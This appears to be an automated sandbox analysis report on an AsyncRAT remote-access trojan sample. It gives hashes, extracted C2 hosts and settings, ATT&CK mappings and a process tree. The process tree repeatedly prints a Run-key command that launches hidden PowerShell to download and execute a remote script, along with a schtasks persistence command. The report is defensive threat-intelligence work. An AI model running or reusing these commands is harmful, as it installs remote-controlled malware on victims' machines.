asyncrat | 85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241

Analysis

max time kernel
58s
max time network
62s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 19:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241.exe
Size 149KB
Sample260826-x3tkysstcx
SHA256 85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241
MD5 0489d7da07733e20bfff6f5bf814db48
SHA1 13931c6d973a5adfc6cee64284a8aa4240160093
SHA512 d1495ba92200faa6b3ae56083d2c6c0aca0d24bf74927a1bcbed752441c461b0985c9f24de9d4f1cdd4fe9d2e59b3e66f50dfb2d644ac1541a4aca3119f39640
SSDEEP 3072:zxDiPs88bI+UKhYOlPX3/lO6qQKXN9KyNGyAXyVZty:E8biO9X3dOSKd9x8B
TLSH
T105E3D0503BEC811BF2BE4B785DF221409E79B6637917CE4E5DD411E61A237818A423EF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default defense_evasion discovery execution asyncrat persistence rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://jokergamingslot.co/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jokergamingslot.co:8080
jokergamingslot.co:443
jokergamingslot.co:80
c2.jokergamingslot.co:8080
c2.jokergamingslot.co:443
c2.jokergamingslot.co:80
www.jokergamingslot.co:8080
www.jokergamingslot.co:443
www.jokergamingslot.co:80

Mutex

cr7I7NEiWiU9

Attributes

delay
3
install
true
install_file
tele@engineer_at_meta.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x001000000001c4c8-21.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3436	powershell.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2968	cmd.exe
2128	cmd.exe
4388	cmd.exe
3056	cmd.exe
5644	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1268	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5968	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241.exe
"C:\Users\Admin\AppData\Local\Temp\85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:5676
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:2968
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
    3⤵
    PID:4408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"' & exit
  2⤵
  - Executes a command shell one-liner
  PID:2128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "tele@engineer_at_meta" /tr '"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5968
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp78A2.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  PID:4388
- - C:\Windows\SysWOW64\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:1268
- - C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
    "C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
    3⤵
    PID:5904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
      4⤵
      Executes a command shell one-liner
      PID:5644
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
        5⤵
        
        PID:3148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')"
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3436

C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
"C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe"
1⤵
PID:4892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3056
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OkDailyUpdateService" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://jokergamingslot.co/load.ps1')\"" /f
    3⤵
    PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

tmp78A2.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp78A2.tmp.bat
Size 165B
SHA256 d88797dd5f262cf396b71ea36ad7737773e7b539b2f1d7ca2d908dcb72c4730d
MD5 c1eae9d8fe64da04cc1f4a6695269e7c
SHA1 e79190ba8bc381ad7631ac2c1ce85a72ce1d7819
SHA512 6c3d02e5a141bbab24371ae53897c36cadc56a7d59f219750d41160648f944cb525507b43f60bd7e51001e65ddeabd4caad1cd2752237bb49e3438516d9d3b0c
TLSH
T16AC0805152C59A1D540A751319FF95CD91756C5D3F40E710970444193640485F49D345
MD5 SHA1 SHA512 TLSH

Submit Download

tele@engineer_at_meta.exe

Path C:\Users\Admin\AppData\Roaming\tele@engineer_at_meta.exe
Size 149KB
SHA256 85ee443f7bde842ddd475d0be0ee6de5e52b137f345d4918dc1c62511ee87241
MD5 0489d7da07733e20bfff6f5bf814db48
SHA1 13931c6d973a5adfc6cee64284a8aa4240160093
SHA512 d1495ba92200faa6b3ae56083d2c6c0aca0d24bf74927a1bcbed752441c461b0985c9f24de9d4f1cdd4fe9d2e59b3e66f50dfb2d644ac1541a4aca3119f39640
SSDEEP 3072:zxDiPs88bI+UKhYOlPX3/lO6qQKXN9KyNGyAXyVZty:E8biO9X3dOSKd9x8B
TLSH
T105E3D0503BEC811BF2BE4B785DF221409E79B6637917CE4E5DD411E61A237818A423EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3436-22-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-16-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-6-0x00000275ED350000-0x00000275ED372000-memory.dmp

Download

memory/3436-7-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-8-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-9-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-11-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-28-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-26-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-3-0x00007FFD609FF000-0x00007FFD60A00000-memory.dmp

Download

memory/3436-25-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-19-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-24-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/3436-23-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/5676-0-0x0000000074A12000-0x0000000074A13000-memory.dmp

Download

memory/5676-1-0x0000000000ED0000-0x0000000000EFC000-memory.dmp

Download

memory/5676-2-0x0000000074A00000-0x00000000751BC000-memory.dmp

Download

memory/5676-17-0x0000000074A00000-0x00000000751BC000-memory.dmp

Download

memory/5676-10-0x0000000006820000-0x00000000068BC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads